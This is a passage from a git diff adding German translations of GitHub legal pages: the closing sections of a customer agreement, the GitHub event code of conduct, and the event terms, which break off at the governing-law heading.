+_Allgemeine Garantie_. Jede Partei erklärt und sichert der anderen Partei zu, dass sie die rechtliche Befugnis und Genehmigung hat, diese Vereinbarung abzuschließen, und dass diese Vereinbarung und jedes Bestellformular und jede Leistungsbeschreibung von einem Mitarbeiter oder Vertreter dieser Partei mit der erforderlichen Befugnis eingegangen wird, diese Partei an die Bedingungen dieser Vereinbarung zu binden.
+
+_Garantie für Professional Services._ Sofern in einer Leistungsbeschreibung nicht anders angegeben, garantiert GitHub, dass alle im Rahmen dieser Vereinbarung erbrachten Professional Services auf professionelle und fachmännische Weise von entsprechend qualifiziertem Personal ausgeführt werden. Die einzige Verpflichtung von GitHub und das einzige Rechtsmittel des Kunden bei einer Verletzung dieser Garantie besteht nach Wahl und auf Kosten von GitHub darin, entweder: (i) alle Professional Services, die diese Garantie nicht erfüllen, unverzüglich erneut zu erbringen oder, (ii) wenn der Verstoß nicht behoben werden kann, die Leistungsbeschreibung zu kündigen und die nicht genutzten vorausbezahlten Gebühren zurückzuerstatten.
+
+_Gewährleistungsausschluss für den Dienst._ GitHub stellt den Dienst **„WIE BESEHEN“** und **„WIE VERFÜGBAR“** ohne Gewährleistung jeglicher Art zur Verfügung. Ohne dies einzuschränken, lehnt GitHub ausdrücklich alle Gewährleistungen, ob ausdrücklich, stillschweigend oder gesetzlich, in Bezug auf den Dienst ab, einschließlich, aber nicht beschränkt auf Gewährleistung der Marktgängigkeit, der Eignung für einen bestimmten Zweck, des Eigentums, der Sicherheit, der Richtigkeit und der Nichtverletzung von Rechten Dritter. GitHub gewährleistet nicht, dass der Dienst die Anforderungen des Kunden erfüllt; dass der Dienst ununterbrochen, zeitnah, sicher oder fehlerfrei ist; dass die über den Dienst bereitgestellten Informationen genau, zuverlässig oder korrekt sind; dass Mängel oder Fehler behoben werden; dass der Dienst zu einer bestimmten Zeit oder an einem bestimmten Ort verfügbar ist; oder dass der Dienst frei von Viren oder anderen schädlichen Komponenten ist. GitHub ist nicht verantwortlich für Verlustrisiken, die sich aus dem Herunterladen und/oder der Verwendung von Dateien, Informationen, Inhalten oder anderem Material, das vom Dienst bezogen wird, durch den Kunden ergeben.
+
+_Gewährleistungsausschluss für Beta-Vorschauen._ Der Kunde kann Beta-Vorschauen nach eigenem Ermessen verwenden. Beta-Vorschauen werden möglicherweise nicht unterstützt und können jederzeit ohne Vorankündigung geändert werden. Beta-Vorschauen sind möglicherweise nicht so zuverlässig oder verfügbar wie der Dienst. Beta-Vorschauen unterliegen nicht denselben Sicherheitsmaßnahmen und Prüfungen, denen der Dienst unterzogen wurde und wird. GitHub übernimmt keine Haftung für oder im Zusammenhang mit Beta-Vorschauen. **Der Kunde verwendet Beta-Vorschauen auf eigenes Risiko.**
+
+## N. Haftungsbeschränkungen.
+**_Indirekte Schäden._ Soweit nach geltendem Recht zulässig, haftet keine der Parteien gegenüber der anderen Partei oder Dritten für indirekte, besondere, zufällige, Straf- oder Folgeschäden (einschließlich entgangener Gewinne, Einnahmen oder Daten) oder für die Kosten für die Beschaffung von Ersatzprodukten, die sich aus oder im Zusammenhang mit dieser Vereinbarung ergeben, wie auch immer verursacht, unabhängig davon, ob sich diese Haftung aus einem Anspruch aus Vertrag, Gewährleistung, unerlaubter Handlung (einschließlich Fahrlässigkeit), verschuldensunabhängiger Haftung oder anderweitig ergibt und ob oder nicht eine Partei auf die Möglichkeit solcher Schäden hingewiesen wurde.**
+
+**_Beschränkung der Gesamthaftung._ Soweit nach geltendem Recht zulässig, übersteigt die kumulierte Gesamthaftung einer der Parteien im Rahmen dieser Vereinbarung aus allen Klagegründen und allen Haftungstheorien in keinem Fall die Gebühren, die der Kunde GitHub in den 12 Monaten vor der Entstehung dieses Anspruchs tatsächlich gezahlt hat. Für Produkte und Dienste (einschließlich der Nutzung der Produkte), die kostenlos bereitgestellt werden, ist die Haftung von GitHub auf direkte Schäden bis zu 5.000,00 USD beschränkt. Für Beta-Vorschauen ist die Haftung von GitHub auf direkte Schäden bis zu 500,00 USD beschränkt.**
+
+**_Ausschlüsse._ Die in diesem Abschnitt N dargelegten Ausschlüsse und Beschränkungen gelten nicht für die Haftung, die sich aus (1) einer Verletzung der Vertraulichkeitsverpflichtungen einer Partei in Abschnitt P (mit Ausnahme jeglicher Haftung im Zusammenhang mit Inhalten (mit Ausnahme von GitHub Inhalten), die Gegenstand der vorstehenden Beschränkungen und Ausschlüsse bleiben) oder (2) den Verteidigungspflichten einer Partei in Abschnitt O ergibt.**
+
+## O. Verteidigung gegen Ansprüche; Freistellung
+
+Die Parteien verteidigen einander gegen die in diesem Abschnitt O beschriebenen Forderungen Dritter im beschriebenen Umfang und zahlen die Summe eines resultierenden rechtskräftigen Urteils oder genehmigten Vergleichs, vorausgesetzt, die verteidigende Partei wird über den Anspruch umgehend schriftlich informiert und ist berechtigt, die Verteidigung zu übernehmen und einen etwaigen Vergleich herbeizuführen. Die verteidigte Partei muss der verteidigenden Partei alle angeforderten Hilfestellungen, Informationen und Vollmachten zur Verfügung stellen. Die verteidigende Partei wird der anderen Partei angemessene Auslagen erstatten, die ihr bei der Bereitstellung von Unterstützung entstehen, und ohne die vorherige schriftliche Zustimmung der anderen Partei, die nicht unangemessen zurückgehalten oder verzögert werden darf, keine Vergleiche fällen oder Zugeständnisse in Bezug auf eine Forderung eines Dritten machen. In diesem Abschnitt O sind die einzigen Abhilfen und die gesamte Haftung bezüglich derartiger Ansprüche beschrieben.
+
+### 1. Von GitHub
+GitHub verteidigt den Kunden gegen alle Ansprüche, die von einem nicht verbundenen Dritten geltend gemacht werden, soweit darin behauptet wird, dass die autorisierte Nutzung des Dienstes durch den Kunden ein Urheberrecht, ein Patent oder eine Marke verletzt oder ein Geschäftsgeheimnis eines nicht verbundenen Dritten missbraucht. Wenn GitHub die Regulierung eines solchen Anspruchs zu wirtschaftlich vertretbaren Bedingungen nicht möglich ist, kann GitHub nach eigener Wahl entweder: (a) den Dienst modifizieren, reparieren oder ersetzen (falls zutreffend); oder (b) das Abonnement des Kunden kündigen und alle vorausbezahlten, nicht verwendeten Abonnementgebühren zurückerstatten. GitHub ist gemäß diesem Abschnitt O.1 nicht für solche Ansprüche verpflichtet, die sich ergeben aus: i) der Änderung des Dienstes oder der Kombination, dem Betrieb oder der Nutzung des Dienstes mit Ausrüstung, Geräten, Software, Systemen oder Daten, die nicht ausdrücklich durch diese Vereinbarung (einschließlich der Dokumentation) genehmigt wurden; (ii) dem Versäumnis des Kunden, die Nutzung des Dienstes einzustellen, nachdem er eine entsprechende Benachrichtigung erhalten hat; (iii) Verpflichtungen des Kunden gemäß Abschnitt O.2; (iv) Produkten oder Diensten (einschließlich der Nutzung des Dienstes), die von GitHub kostenlos bereitgestellt werden; oder (v) dem Zugriff auf oder der Nutzung von Beta-Vorschauen. Im Sinne der Verpflichtung von GitHub gemäß diesem Abschnitt O.1 enthält der Dienst Open-Source-Komponenten, die von GitHub darin integriert wurden.
+
+### 2. Des Kunden
+Der Kunde verteidigt GitHub gegen alle Ansprüche, die von einem nicht verbundenen Dritten erhoben werden, die sich aus Folgendem ergeben: (i) Kundeninhalten, die der Kunde in den Dienst hochlädt; (ii) dem Verstoß des Kunden gegen diese Vereinbarung, einschließlich Verstoß des Kunden gegen die Vertraulichkeit oder Verstoß gegen Abschnitt C; oder (iii) Ausrüstung, Geräten, Software, Systemen oder Daten von Dritten, die der Kunde mit dem Dienst kombiniert, betreibt oder verwendet.
+
+### 3. Streitigkeiten mit anderen Nutzern
+Wenn der Kunde eine Streitigkeit mit einem oder mehreren Nutzern hat, stellt der Kunde GitHub von allen Ansprüchen, Forderungen und Schäden (tatsächliche und Folgeschäden) jeder Art und Natur, bekannt und unbekannt, freizustellen, die sich aus solchen Streitigkeiten ergeben.
+
+## P. Vertraulichkeit
+Keine der Parteien wird die Vertraulichen Informationen der anderen Partei verwenden, es sei denn, dies ist gemäß dieser Vereinbarung gestattet. Jede Partei verpflichtet sich, die Vertraulichen Informationen der anderen Partei vertraulich zu behandeln und zu schützen, indem sie mindestens das gleiche Maß an Sorgfalt anwendet, das sie für ihre eigenen Informationen ähnlicher Art anwendet, aber in jedem Fall mindestens ein angemessenes Maß an Sorgfalt. Jede Partei erklärt sich damit einverstanden, alle angemessenen Vorkehrungen zu treffen, um eine unbefugte Offenlegung der Vertraulichen Informationen der anderen Partei zu verhindern, einschließlich, aber nicht beschränkt auf die Offenlegung dieser Vertraulichen Informationen nur gegenüber ihren Vertretern, die (i) diese Informationen kennen müssen, (ii) Parteien von entsprechenden Vereinbarungen sind, die ausreichen, um diesem Abschnitt P zu entsprechen, und (iii) über die in diesem Abschnitt P festgelegten Nutzungs- und Offenlegungsbeschränkungen informiert sind. Jede Partei ist für alle Handlungen und Unterlassungen ihrer Vertreter verantwortlich. Die vorstehenden Verpflichtungen hindern keine der Parteien daran, Vertrauliche Informationen der anderen Partei gemäß der Anordnung oder Anforderung eines Gerichts, einer Verwaltungsbehörde oder einer anderen Regierungsbehörde offenzulegen, _vorausgesetzt_, dass die Partei, die zu einer solchen Offenlegung verpflichtet ist, die andere Partei angemessen benachrichtigt, damit diese Partei diese Anordnung oder Anforderung anfechten kann, es sei denn, eine solche Mitteilung ist gesetzlich verboten. Die in diesem Abschnitt P dargelegten Einschränkungen gelten auch nach Kündigung oder Ablauf dieser Vereinbarung.
+
+## Q. Professional Services
+Auf Anfrage des Kunden nach Professional Services stellt GitHub eine Leistungsbeschreibung bereit, in der diese Professional Services näher beschrieben werden. GitHub erbringt die in jeder Leistungsbeschreibung beschriebenen Professional Services. GitHub kontrolliert die Art und Weise und Mittel, mit denen die Professional Services erbracht werden, und behält sich das Recht vor, das zugewiesene Personal zu bestimmen. GitHub kann Dritte zur Erbringung der Professional Services einsetzen, vorausgesetzt, dass GitHub für deren Handlungen und Unterlassungen verantwortlich bleibt. Der Kunde erkennt an und stimmt zu, dass GitHub alle Rechte, Ansprüche und Interessen an allem behält, was in Verbindung mit der Erbringung der Professional Services verwendet oder entwickelt wird, einschließlich Software, Tools, Spezifikationen, Ideen, Konzepten, Erfindungen, Prozessen, Techniken und Know-how. Soweit GitHub dem Kunden während der Erbringung der Professional Services etwas liefert, gewährt GitHub dem Kunden eine nicht ausschließliche, nicht übertragbare, weltweite, gebührenfreie, zeitlich begrenzte Lizenz zur Nutzung dieser Leistungen während der Laufzeit dieser Vereinbarung, ausschließlich in Verbindung mit der Nutzung des Dienstes durch den Kunden.
+
+## R. Änderungen am Dienst oder den Bedingungen
+GitHub behält sich das Recht vor, diese Vereinbarung nach eigenem Ermessen jederzeit zu ändern, und wird diese Vereinbarung im Falle solcher Änderungen aktualisieren. GitHub benachrichtigt den Kunden mindestens 30 Tage vor dem Inkrafttreten der Änderung über wesentliche Änderungen an dieser Vereinbarung, indem es im Dienst eine Mitteilung veröffentlicht oder eine E-Mail an die primäre E-Mail-Adresse sendet, die in Ihrem GitHub Konto angegeben ist. Die fortgesetzte Nutzung des Dienstes durch den Kunden nach diesen 30 Tagen stellt eine Zustimmung zu diesen Änderungen an dieser Vereinbarung dar. Bei allen anderen Änderungen gilt die fortgesetzte Nutzung des Dienstes durch den Kunden als Zustimmung zu unseren Änderungen dieser Vereinbarung. Der Kunde kann alle Änderungen an dieser Vereinbarung in unserem Repository für die [Website-Richtlinie](https://github.com/github/site-policy) einsehen.
+
+GitHub ändert den Dienst durch Updates und Hinzufügen neuer Funktionen. Ungeachtet des Vorstehenden behält sich GitHub das Recht vor, den Dienst (oder einen Teil davon) jederzeit mit oder ohne Vorankündigung vorübergehend oder dauerhaft zu ändern oder einzustellen.
+
+## S. Support
+GitHub stellt vierundzwanzig (24) Stunden pro Tag, fünf (5) Tage pro Woche, außer an Wochenenden und nationalen Feiertagen in den USA, standardmäßigen technischen Support für den Dienst ohne zusätzliche Kosten bereit. Standard-Support wird nur über webbasiertes Ticketing über den GitHub Support angeboten, und Support-Anfragen müssen von einem Nutzer initiiert werden, mit dem das Support-Team von GitHub interagieren kann. GitHub kann für den Dienst Premium-Support (vorbehaltlich der Bedingungen für [GitHub Premium-Support für Enterprise Cloud](/articles/about-github-premium-support)) oder dedizierten technischen Support auf der Support-Ebene, zu den Gebühren und der Abonnementlaufzeit bereitstellen, die in einem Bestellformular oder einer Leistungsbeschreibung angegeben sind.
+
+## T. Sonstiges
+
+### 1. Anwendbares Recht
+Wenn sich der Hauptsitz des Kunden in Nord- und Südamerika befindet, unterliegt diese Vereinbarung den Gesetzen des US-Bundesstaates Kalifornien und wird in Übereinstimmung mit diesen ausgelegt, ohne dass die Grundsätze des Kollisionsrechts wirksam werden, werden alle Klagen oder Verfahren, die sich aus dieser Vereinbarung ergeben, ausschließlich vor den Bundes- oder Staatsgerichten im Northern District of California verhandelt und stimmen die Parteien hiermit der persönlichen Gerichtsbarkeit und dem dortigen Gerichtsstand zu. Wenn sich der Hauptsitz des Kunden außerhalb Amerikas befindet, unterliegt diese Vereinbarung den Gesetzen von Irland, werden alle Klagen oder Verfahren, die sich aus dieser Vereinbarung ergeben, ausschließlich vor den Gerichten in Dublin verhandelt und stimmen die Parteien hiermit der persönlichen Gerichtsbarkeit und dem dortigen Gerichtsstand zu. Die Parteien vereinbaren ausdrücklich, dass das Übereinkommen der Vereinten Nationen über Verträge über den internationalen Warenkauf und der Uniform Computer Information Transactions Act auf diese Vereinbarung keine Anwendung finden. Ungeachtet gegenteiliger Bestimmungen im Vorstehenden kann GitHub bei jedem Gericht mit angemessener Zuständigkeit einen Anspruch auf billigkeitsrechtlichen Rechtsschutz geltend machen.
+
+### 2. Feedback
+Der Kunde kann GitHub Feedback zu den Produkten geben. Feedback ist freiwillig und stellt keine Vertraulichen Informationen des Kunden dar, auch wenn es als solche gekennzeichnet ist. GitHub kann dieses Feedback vollständig ausüben und nutzen, um (i) den Betrieb, die Funktionalität und die Nutzung der vorhandenen und zukünftigen Produktangebote von GitHub zu verbessern und diese Angebote zu kommerzialisieren; und (ii) um aggregierte Statistiken über die Qualität der Produkte zu veröffentlichen, vorausgesetzt, dass keine Daten in einer solchen Veröffentlichung verwendet werden, um den Kunden, seine Mitarbeiter oder den proprietären Softwarecode des Kunden speziell zu identifizieren.
+
+### 3. Nichtübertragbarkeit
+Keine Partei darf diese Vereinbarung ganz oder teilweise ohne die vorherige schriftliche Zustimmung der anderen Partei abtreten oder anderweitig übertragen, wobei diese Zustimmung nicht unangemessen verweigert werden darf, und jeder Versuch, dies zu tun, ist null und nichtig, mit der Ausnahme, dass GitHub diese Vereinbarung in ihrer Gesamtheit nach Mitteilung an die andere Partei, aber ohne Zustimmung der anderen Partei, im Zusammenhang mit einer Fusion, einem Erwerb, einer Unternehmensumstrukturierung oder einem Verkauf aller oder im Wesentlichen aller Geschäfte oder Vermögenswerte der übertragenden Partei abtreten darf.
+
+### 4. Verzicht
+Auf die Verpflichtungen einer Partei aus diesem Vertrag kann nur in schriftlicher Form verzichtet werden, die von einem bevollmächtigten Vertreter der anderen Partei unterzeichnet wurde. Ein Versäumnis oder eine Verspätung durch eine Partei dieser Vereinbarung bei der Ausübung eines Rechts aus dieser Vereinbarung gilt weder als Verzicht darauf, noch schließt eine einzelne oder teilweise Ausübung davon eine andere oder weitere Ausübung davon oder die Ausübung eines Rechts aus dieser Vereinbarung nach Gesetz oder Billigkeit aus.
+
+### 5. Salvatorische Klausel
+Wenn eine Bestimmung dieser Vereinbarung von einem zuständigen Gericht als rechtswidrig, ungültig oder nicht durchsetzbar erachtet wird, ändern oder reformieren die Parteien diese Vereinbarung, um dieser Bestimmung so viel Wirkung wie möglich zu verleihen. Jede Bestimmung, die auf diese Weise nicht geändert oder reformiert werden kann, gilt als gelöscht und die verbleibenden Bestimmungen dieser Vereinbarung bleiben in vollem Umfang in Kraft und wirksam.
+
+### 6. Änderungen; Vollständige Vereinbarung; Rangfolge
+Diese Vereinbarung darf nur durch eine schriftliche Zusatzvereinbarung geändert werden, die von einem autorisierten Vertreter von GitHub unterzeichnet wurde, oder indem GitHub eine überarbeitete Version gemäß Abschnitt R veröffentlicht. Diese Vereinbarung stellt die vollständige und ausschließliche Vereinbarung zwischen den Parteien dar. Diese Vereinbarung ersetzt alle mündlichen oder schriftlichen Vorschläge oder vorherigen Vereinbarungen sowie alle anderen Mitteilungen zwischen den Parteien in Bezug auf den Gegenstand dieser Bedingungen einschließlich aller Vertraulichkeits- oder Geheimhaltungsvereinbarungen. Im Falle eines Konflikts zwischen den Bedingungen dieser Vereinbarung und einem Bestellformular oder einer Leistungsbeschreibung haben die Bedingungen des Bestellformulars oder SOW nur in Bezug auf dieses Bestellformular bzw. die Leistungsbeschreibung Vorrang.
+
+### 7. Publicity
+Wenn der Kunde den Namen seines Unternehmens oder seiner Organisation auf seinem Konto öffentlich anzeigt oder anderweitig seine Marken oder Logos auf seiner Profilseite öffentlich anzeigt, gestattet der Kunde GitHub, den Namen seines Unternehmens oder seiner Organisation zu verwenden, um den Kunden in Werbematerialien als GitHub-Kunden zu identifizieren. Der Kunde kann diese Erlaubnis widerrufen, indem er seinen Firmen- oder Organisationsnamen vor der öffentlichen Anzeige verbirgt und GitHub schriftlich benachrichtigt, den Namen seiner Organisation nicht mehr in Werbematerialien zu verwenden. GitHub ist jedoch nicht verpflichtet, eine frühere Nutzung oder Verteilung der Werbematerialien zu entfernen oder zurückzurufen.
+
+### 8. Höhere Gewalt
+GitHub wird von der Haftung befreit, soweit es aus außergewöhnlichen Gründen, die sich seiner angemessenen Kontrolle entziehen, einschließlich höherer Gewalt, Naturkatastrophen, Streiks, Aussperrungen, Unruhen, Kriegshandlungen, Epidemien oder Strom-, Telekommunikations- oder Netzwerkausfällen.
+
+### 9. Unabhängige Vertragspartner
+Jede Partei ist in Bezug auf den Gegenstand dieser Vereinbarung ein unabhängiger Vertragspartner. Nichts in dieser Vereinbarung wird in irgendeiner Weise so ausgelegt oder ausgelegt, dass es eine rechtliche Vereinigung, Partnerschaft, ein Joint Venture, ein Beschäftigungs-, Vertretungs-, Treuhand- oder ein anderes ähnliches Verhältnis zwischen den Parteien begründet, und keine der Parteien kann die andere vertraglich binden.
+
+### 10. Fragen
+Haben Sie Fragen zu den Nutzungsbedingungen? [Setzen Sie sich mit uns in Verbindung.](https://github.com/contact/)
diff --git a/translations/de-DE/content/site-policy/github-terms/github-event-code-of-conduct.md b/translations/de-DE/content/site-policy/github-terms/github-event-code-of-conduct.md
new file mode 100644
index 0000000000..8fe98c82d9
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-event-code-of-conduct.md
@@ -0,0 +1,58 @@
+---
+title: GitHub Verhaltenskodex für Veranstaltungen
+redirect_from:
+  - /articles/github-event-code-of-conduct
+  - /github/site-policy/github-event-code-of-conduct
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: c9e910ccec8e281359fb21feca5957c3360530bd
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556590'
+---
+GitHub Veranstaltungen sind Community-Events, die für Networking und Zusammenarbeit in der Tech-Community gedacht sind.
+
+Wir schätzen die Teilnahme jedes Mitglieds und wünschen uns, dass alle Teilnehmer eine angenehme und erfüllende Erfahrung machen. Dementsprechend wird von allen Teilnehmern erwartet, dass sie anderen Teilnehmern während aller Veranstaltungen, die im GitHub Space stattfinden, Respekt und Höflichkeit entgegenbringen.
+
+Um deutlich zu machen, was erwartet wird, müssen alle Teilnehmer, Referenten, Aussteller, Organisatoren und Ehrenamtlichen bei jeder Veranstaltung im GitHub Space den folgenden Verhaltenskodex einhalten. Die Organisatoren werden diesen Kodex während der gesamten Veranstaltung durchsetzen.
+
+## Verhaltensregeln
+
+GitHub hat sich der Bereitstellung eines positiven und belästigungsfreien Veranstaltungserlebnisses für alle verpflichtet, unabhängig von Alter, Geschlecht, Geschlechtsidentität und -ausdruck, sexueller Orientierung, Behinderung, persönlichem Erscheinungsbild, Körpergröße, ethnischer Zugehörigkeit, Hautfarbe, Religion, Staatsangehörigkeit oder Erfahrungsniveau. Wir tolerieren keinerlei belästigende Verhaltensweisen von Veranstaltungsteilnehmern, noch tolerieren wir Verhaltensweisen, die begründetermaßen dazu führen könnten, dass sich andere Veranstaltungsteilnehmer in Bezug auf ihr körperliches oder emotionales Wohlbefinden angegriffen, verunsichert oder verängstigt fühlen. Die gesamte Kommunikation sollte für ein professionelles Publikum angemessen sein, das Menschen mit vielen unterschiedlichen Hintergründen umfasst.
+
+Beispiele für von uns unterstütztes Verhalten, das zu einem positiven Umfeld beiträgt, sind:
+
+* Die Verwendung von einladender und inklusiver Sprache
+* Respekt für unterschiedliche Wahrnehmungsweisen und Erfahrungen
+* Annahme von konstruktiver Kritik
+* Konzentration auf das Wohl Aller bei der Veranstaltung
+* Beweise von Empathie gegenüber anderen Teilnehmern
+
+Inakzeptables Verhalten umfasst:
+
+* Die Verwendung von sexualisierter Sprache oder Bildern sowie unangemessene Vorfälle von körperlichem Kontakt, sexueller Aufmerksamkeit oder Annäherungsversuchen
+* Trolling, beleidigende oder abwertende Kommentare, persönliche oder politische Angriffe oder nachhaltige Störung von Diskussionen oder anderen Veranstaltungsinhalten
+* Vorsätzliche Einschüchterung, Stalking, Verfolgung oder belästigendes Fotografieren und Aufnehmen
+* Belästigendes Verhalten jeglicher Art, auch in scherzhafter oder ironischer Weise
+* Sonstiges Verhalten, das in einem beruflichen Umfeld begründetermaßen als unangemessen angesehen werden könnte
+
+Seien Sie nett zu anderen. Beleidigen oder erniedrigen Sie andere Teilnehmer nicht. Verhalten Sie sich professionell. Denken Sie daran, dass belästigendes Verhalten und sexistische, rassistische oder ausgrenzende Witze bei dieser Veranstaltung nicht angebracht sind.
+
+Jeder Veranstaltungsgast ist für sein Handeln vollumfänglich selbst verantwortlich.
+
+Vielen Dank, dass Sie dazu beitragen, diesen Ort einladend und freundlich für alle zu gestalten.
+
+### Meldung eines Vorfalls
+
+Wenn Sie belästigt werden, bemerken, dass jemand anderes belästigt wird, oder andere Bedenken haben, wenden Sie sich bitte per E-Mail an den Veranstalter (events@github.com) oder Telefon/Nachricht (+1 415 842 2837), oder sprechen Sie mit einem anderen GitHub Mitarbeiter oder Sicherheitsbeauftragten.
+
+Die GitHubber helfen Teilnehmern, die belästigendem Verhalten ausgesetzt sind, selbstverständlich dabei, den Sicherheitsdienst oder die örtlichen Strafverfolgungsbehörden zu kontaktieren, sich in Sicherheit zu bringen oder andere angemessene Maßnahmen zu ergreifen, damit sie sich für die Dauer der Konferenz sicher fühlen. Ihre Teilnahme ist uns sehr wichtig.
+
+## Gutschrift
+
+Teile dieses Verhaltenskodex basieren auf der Vorlage [example anti-harassment policy](https://geekfeminism.wikia.org/wiki/Conference_anti-harassment/Policy) aus dem Geek Feminism Wiki, erstellt von der Ada Initiative und anderen Ehrenamtlichen unter einer Creative Commons Zero Lizenz.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-event-terms.md b/translations/de-DE/content/site-policy/github-terms/github-event-terms.md
new file mode 100644
index 0000000000..77ff759d43
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-event-terms.md
@@ -0,0 +1,65 @@
+---
+title: Bedingungen für GitHub Veranstaltungen
+redirect_from:
+  - /articles/github-event-terms
+  - /github/site-policy/github-event-terms
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 58e24cfcc52a49f2f80ca316d482e2f2caf1fe4d
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556601'
+---
+Indem Sie sich zu einer GitHub Veranstaltung anmelden oder daran teilnehmen, einschließlich aller von GitHub in Verbindung mit der GitHub Veranstaltung organisierten Veranstaltungen oder Aktivitäten (zusammen die „Veranstaltung“), signalisieren Sie, dass Sie die folgenden Bedingungen für Veranstaltungen gelesen und verstanden haben und ihnen zustimmen.
+
+## 1. Grundvoraussetzungen für die Teilnahme – umfasst den [Verhaltenskodex für Veranstaltungen](/articles/github-event-code-of-conduct)
+
+Um an der Veranstaltung teilzunehmen, erklären Sie, dass
+
+- Sie über die erforderliche Vollmacht und Befugnis verfügen, diesen Veranstaltungsbedingungen zuzustimmen
+
+- Sie diese Veranstaltungsbedingungen sowie die [GitHub.com Nutzungsbedingungen](/articles/github-terms-of-service/)
+
+- Sie sich verpflichten, sich an den [Verhaltenskodex für Veranstaltungen](/articles/github-event-code-of-conduct), zu halten, der darauf abzielt, allen eine belästigungsfreie Erfahrung zu ermöglichen
+
+- Wenn bei einer GitHub Veranstaltung Alkohol ausgeschenkt wird, versichern Sie, dass Sie mindestens 21 Jahre alt sind oder anderweitig das gesetzliche Mindestalter für Alkoholkonsum in Ihrer Rechtsordnung überschritten haben.
+
+Von Teilnehmern, die aufgefordert werden, belästigende oder andere verbotene Verhaltensweisen zu unterlassen, wird erwartet, dass sie dies unverzüglich tun. Wenn ein Teilnehmer ein Verhalten an den Tag legt, das gegen den [Verhaltenskodex für Veranstaltungen](/articles/github-event-code-of-conduct) oder diese Bedingungen verstößt, können die Veranstalter alle Maßnahmen ergreifen, die sie für angemessen halten, einschließlich der Verwarnung der Person oder des Ausschlusses von der Veranstaltung oder der Konferenz ohne Anspruch auf Rückerstattung.
+
+## 2. Bilder
+
+GitHub oder seine Partner machen manchmal Fotos und Videos bei GitHub Veranstaltungen. Durch die Anwesenheit oder Teilnahme an der Veranstaltung erklären Sie sich damit einverstanden, dass Sie auf einigen dieser Fotos und Videos zu sehen sind, und autorisieren GitHub, diese zu verwenden. Wenn Sie Ihrerseits Fotos oder Videos von Teilnehmern der Veranstaltung machen und uns diese zur Verfügung stellen, autorisieren Sie uns, diese auf die gleiche Weise zu verwenden, und erklären, dass die Teilnehmer, die auf Ihren Fotos und Videos erscheinen, dieser Verwendung ebenfalls zugestimmt haben.
+
+## 3. Risiko, Haftung und Schadenersatz
+
+### Risikoübernahme
+Obwohl wir versuchen, bei der Veranstaltung eine sichere Umgebung zu schaffen, ist niemand gegen Unfälle und andere Missgeschicke gefeit. Wir bitten Sie, Ihren Teil dazu beizutragen, die Verletzungsrisiken für sich selbst bei der Veranstaltung zu begrenzen.
+
+Sie erklären sich damit einverstanden, die Risiken, die mit allen Aktivitäten verbunden sind, an denen Sie teilnehmen möchten, sorgfältig abzuwägen und angemessene Vorsichtsmaßnahmen zu treffen, bevor Sie sich entscheiden, an einer GitHub Veranstaltung teilzunehmen. Beispielsweise sollten Sie sicherstellen, dass Sie bei guter körperlicher Gesundheit sind, bevor Sie sich bei einer GitHub Veranstaltung körperlich betätigen, und Sie sollten angesichts der Risiken, die mit dem Fahren unter Alkoholeinfluss und der Teilnahme an Aktivitäten mit eingeschränktem Urteilsvermögen verbunden sind, stets verantwortungsvoll trinken. Es ist immer gut im Hinterkopf zu behalten, dass andere Veranstaltungsgäste möglicherweise weniger verantwortungsbewusst handeln als Sie, und trotz bester Absichten ein zusätzliches Risiko für Sie darstellen können.
+
+Kurz gesagt, seien Sie sich bewusst, dass Ihre Anwesenheit und Teilnahme an einer GitHub Veranstaltung freiwillig ist und Sie zustimmen, die Verantwortung für daraus resultierende Verletzungen im größtmöglichen Umfang zu übernehmen, der nach geltendem Recht zulässig ist.
+
+Ebenso stimmen Sie zu, dass GitHub nicht für Verletzungen oder Unfälle verantwortlich ist, die Sie bei Veranstaltungen erleiden, die GitHub nicht organisiert oder kontrolliert.
+
+### Haftungsfreistellung
+Sie (für sich selbst, Ihre Erben, persönlichen Vertreter oder Abtretungsempfänger und alle anderen, die in Ihrem Namen einen Anspruch geltend machen könnten) verzichten hiermit gegenüber GitHub und seinen jeweiligen Muttergesellschaften, Tochtergesellschaften, verbundenen Unternehmen, leitenden Angestellten, Direktoren, Partnern, Aktionären, Mitgliedern, Vertretern, Mitarbeitern, Verkäufern, Sponsoren und Ehrenamtlichen auf alle Ansprüche, Forderungen, Klagegründe, Schäden, Verluste oder Ausgaben (einschließlich Gerichtskosten und angemessenen Anwaltsgebühren), die sich aus Ihrer Teilnahme an der Veranstaltung oder einer damit verbundenen Veranstaltung ergeben können, daraus resultieren oder in irgendeiner Weise damit in Verbindung stehen, außer natürlich bei grober Fahrlässigkeit oder vorsätzlichem Fehlverhalten unsererseits.
+
+### Schadenersatz
+Aus dem gleichen Grund erklären Sie sich damit einverstanden, GitHub, seine Muttergesellschaften, Tochtergesellschaften, verbundenen Unternehmen, leitenden Angestellten, Direktoren, Mitarbeiter, Erfüllungsgehilfen und Vertreter von allen Ansprüchen oder Forderungen Dritter schadlos zu halten, die aufgrund Ihrer Teilnahme an oder Ihrem Verhalten bei der Veranstaltung oder einer damit verbundenen Veranstaltung, im Zusammenhang damit oder in Verbindung damit erhoben werden, einschließlich von allen Kosten, Verbindlichkeiten und Anwaltskosten.
+
+## 4. Kündigung
+
+Wir hoffen zwar, dass dies nicht erforderlich sein wird, aber GitHub kann Ihnen die Teilnahme an einer GitHub Veranstaltung jederzeit untersagen, wenn Sie sich nicht an diese Veranstaltungsbedingungen und den [Verhaltenskodex für Veranstaltungen](/articles/github-event-code-of-conduct) sowie die [GitHub.com Nutzungsbedingungen](/articles/github-terms-of-service/) halten, oder auch aus einem beliebigen anderen Grund und ohne Angabe von Gründen, ohne Vorankündigung oder Haftung jeglicher Art. Abschnitt 3 (Risiko, Haftung und Schadenersatz) gilt auch nach einer Kündigung.
+
+## 5. Rechtswahl und Gerichtsstand
+
